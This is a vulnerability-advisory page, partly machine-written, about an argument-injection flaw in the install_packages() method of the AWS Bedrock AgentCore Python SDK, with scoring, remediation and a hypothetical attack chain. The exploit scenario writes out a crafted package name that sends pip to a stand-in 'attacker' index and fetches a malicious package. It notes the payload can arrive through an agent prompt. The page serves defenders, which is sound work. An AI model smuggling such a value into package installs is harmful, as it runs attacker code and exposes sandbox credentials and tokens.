Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-priv agent access
-
DeliverySubmit crafted package name argument
-
ExploitOperator triggers install_packages() call
-
ExecutionArgument delimiters break out of pip context
-
PersistExecute arbitrary commands in sandbox
-
ImpactExfiltrate sandbox data and tokens
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
|
| Exploitation Conditions | Exploitation requires (1) a deployment running AWS Bedrock AgentCore Python SDK >= 1.1.3 and < 1.6.1 with the Code Interpreter sandbox feature enabled, (2) an authenticated low-privilege user (PR:L) able to reach an interface that ultimately calls install_packages() with attacker-influenced package name strings, and (3) user interaction (UI:A) - a second party (typically the operator or an autonomous agent) must actually trigger the install_packages() invocation on the attacker-supplied input. Exploitation is limited to code execution inside the Code Interpreter sandbox (Scope/Subsequent metrics all N), so impact does not natively cross into the host, AWS account, or other tenants without an additional sandbox-escape primitive; deployments that disable dynamic package installation or restrict install_packages() to trusted operators are not exploitable. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N) and 8.4 score reflect remote network reach with low complexity but require low-level authentication and active user interaction, and impact is bounded to the vulnerable system (SC:N/SI:N/SA:N) - consistent with code executing inside an isolated Code Interpreter sandbox rather than the host or AWS control plane. EPSS data was not provided, and the vulnerability is not listed in CISA KEV; no public PoC is referenced, so this is not confirmed actively exploited. The realistic priority is moderate-to-high for any deployment that exposes the AgentCore Code Interpreter to lower-trust users or untrusted agent inputs, because PR:L is trivially met in multi-tenant agent platforms, but lower for closed, single-tenant deployments where only trusted operators invoke install_packages(). One signal worth flagging: UI:A is a meaningful brake - exploitation requires an action by another user (e.g., an operator triggering package install on attacker-supplied input), which should be considered when prioritizing. |
| Exploit ScenarioDerived | An attacker with low-privileged access to an agent that wraps the AgentCore Code Interpreter submits a prompt or API call whose package list contains a crafted entry like 'requests --index-url http://attacker/ --no-deps malicious-pkg', causing an operator-triggered install_packages() call to fetch and execute attacker-controlled code inside the sandbox. From there the attacker runs arbitrary commands as the sandbox user, exfiltrating any data, credentials, or session tokens reachable from that environment. No public PoC is referenced, but the bug class (argument injection into pip install) is well-understood and trivially weaponizable once an analyst inspects the patched diff. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 17, 2026
Command injection in the AWS Bedrock AgentCore Python SDK (versions >= 1.1.3, < 1.6.1) allows remote authenticated users to execute arbitrary commands within the Code Interpreter sandbox by supplying crafted package name arguments to the install_packages() method. The flaw stems from improper neutralization of argument delimiters (CWE-88), letting attacker-controlled strings break out of the intended pip-install argument context. No public exploit identified at time of analysis, but a vendor patch and advisory are available from AWS.
RemediationAI
Vendor-released patch: 1.6.1 - upgrade the bedrock-agentcore Python package to 1.6.1 or later (pip install --upgrade 'bedrock-agentcore>=1.6.1') and rebuild any container images, Lambda layers, or agent runtimes that bundle the SDK, as documented in the AWS security bulletin https://aws.amazon.com/security/security-bulletins/2026-044-aws/ and the PyPI release at https://pypi.org/project/bedrock-agentcore/1.6.1/. Until the upgrade is rolled out, restrict who can invoke install_packages() to trusted operators only, and validate package name inputs against a strict allowlist (e.g., ^[A-Za-z0-9_.-]+(==[A-Za-z0-9_.-]+)?$) before passing them through - note this will block legitimate version specifiers using extras or markers and any URL/VCS installs. As an additional compensating control, disable arbitrary package installation in the Code Interpreter sandbox or pre-bake required dependencies into the sandbox image, accepting the trade-off that agents lose dynamic dependency installation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
AWS Bedrock AgentCore is Amazon's framework for building generative-AI agents, and the Python SDK exposes a Code Interpreter sandbox in which agents can run user-supplied code, including installing additional Python packages. The install_packages() helper composes a shell or subprocess invocation (typically wrapping pip install) using caller-supplied package name strings. Because those strings are not sanitized for argument delimiters such as spaces, --flags, or shell separators, a malicious package name can inject additional pip arguments (CWE-88: Improper Neutralization of Argument Delimiters in a Command, aka 'Argument Injection') and pivot package installation into arbitrary command execution inside the sandbox. The CPE cpe:2.3:a:aws:bedrock-agentcore identifies the AWS-published Python package distributed as bedrock-agentcore on PyPI.
Know when AWS gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Network-reachable SDK endpoint, low complexity, requires authenticated low-priv user (PR:L) and a second user to trigger install (UI:R); sandbox-bounded RCE yields high C/I but no availability impact and no scope change.
Primary rating from Vendor (AMZN).
CVSS VectorVendor: AMZN
Lifecycle Timeline
1DescriptionCVE.org
Improper neutralization of argument delimiters in the install_packages() method in AWS Bedrock AgentCore Python SDK versions >= 1.1.3 and < 1.6.1 might allow a remote authenticated user to execute arbitrary commands within the Code Interpreter sandbox via crafted package name arguments.
To mitigate this issue, users should upgrade to version 1.6.1.
Executive ViewAI
AWS Bedrock AgentCore Python SDK versions 1.1.3 through 1.6.0 contain a command injection vulnerability that allows authenticated users to execute arbitrary code within the Code Interpreter sandbox. Organizations deploying Bedrock agents that process untrusted input-such as customer-facing chatbots or multi-tenant applications-face immediate risk of code execution, data exfiltration, and potential lateral movement within their AWS environment.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Loom for AWS deployments running a version before 1.6.1 with no identity provider configured expose an unauthenticated s
Unauthorized data access in Budibase low-code platform before 3.30.4 allows unauthenticated users to manipulate internal
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
Multiple vulnerabilities in ASTPP 4.0.1 including XSS and command injection in SIP device configuration and plugin manag
Broken access control in the VitaFit cloud API before the 2026-10-30 fix lets any authenticated account holder call POST
Remote code execution in Amazon awslabs postgres-mcp-server before 1.1.7 lets remote actors run arbitrary OS commands on
Remote code execution in AWS AgentCore CLI before v0.14.2 allows authenticated attackers to inject Python code via craft
Denial of service in the aws-smithy-json Rust runtime crate (versions before 0.62.7) lets remote unauthenticated attacke
Denial of service in Amazon's aws-smithy-http-server Rust crate (versions prior to 0.66.5) lets remote unauthenticated a
Argument injection in the AWS Bedrock AgentCore Python SDK before 1.18.1 lets a remote authenticated user run arbitrary
Arbitrary file read in amazon-mq rabbitmq-aws before 0.2.1 allows authenticated remote users to read any file accessible
WAF managed-rule body inspection on AWS Application Load Balancer (ALB) can be bypassed by remote actors who fragment an
EUVD-2026-37802
GHSA-6rfw-mq36-jm8h
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB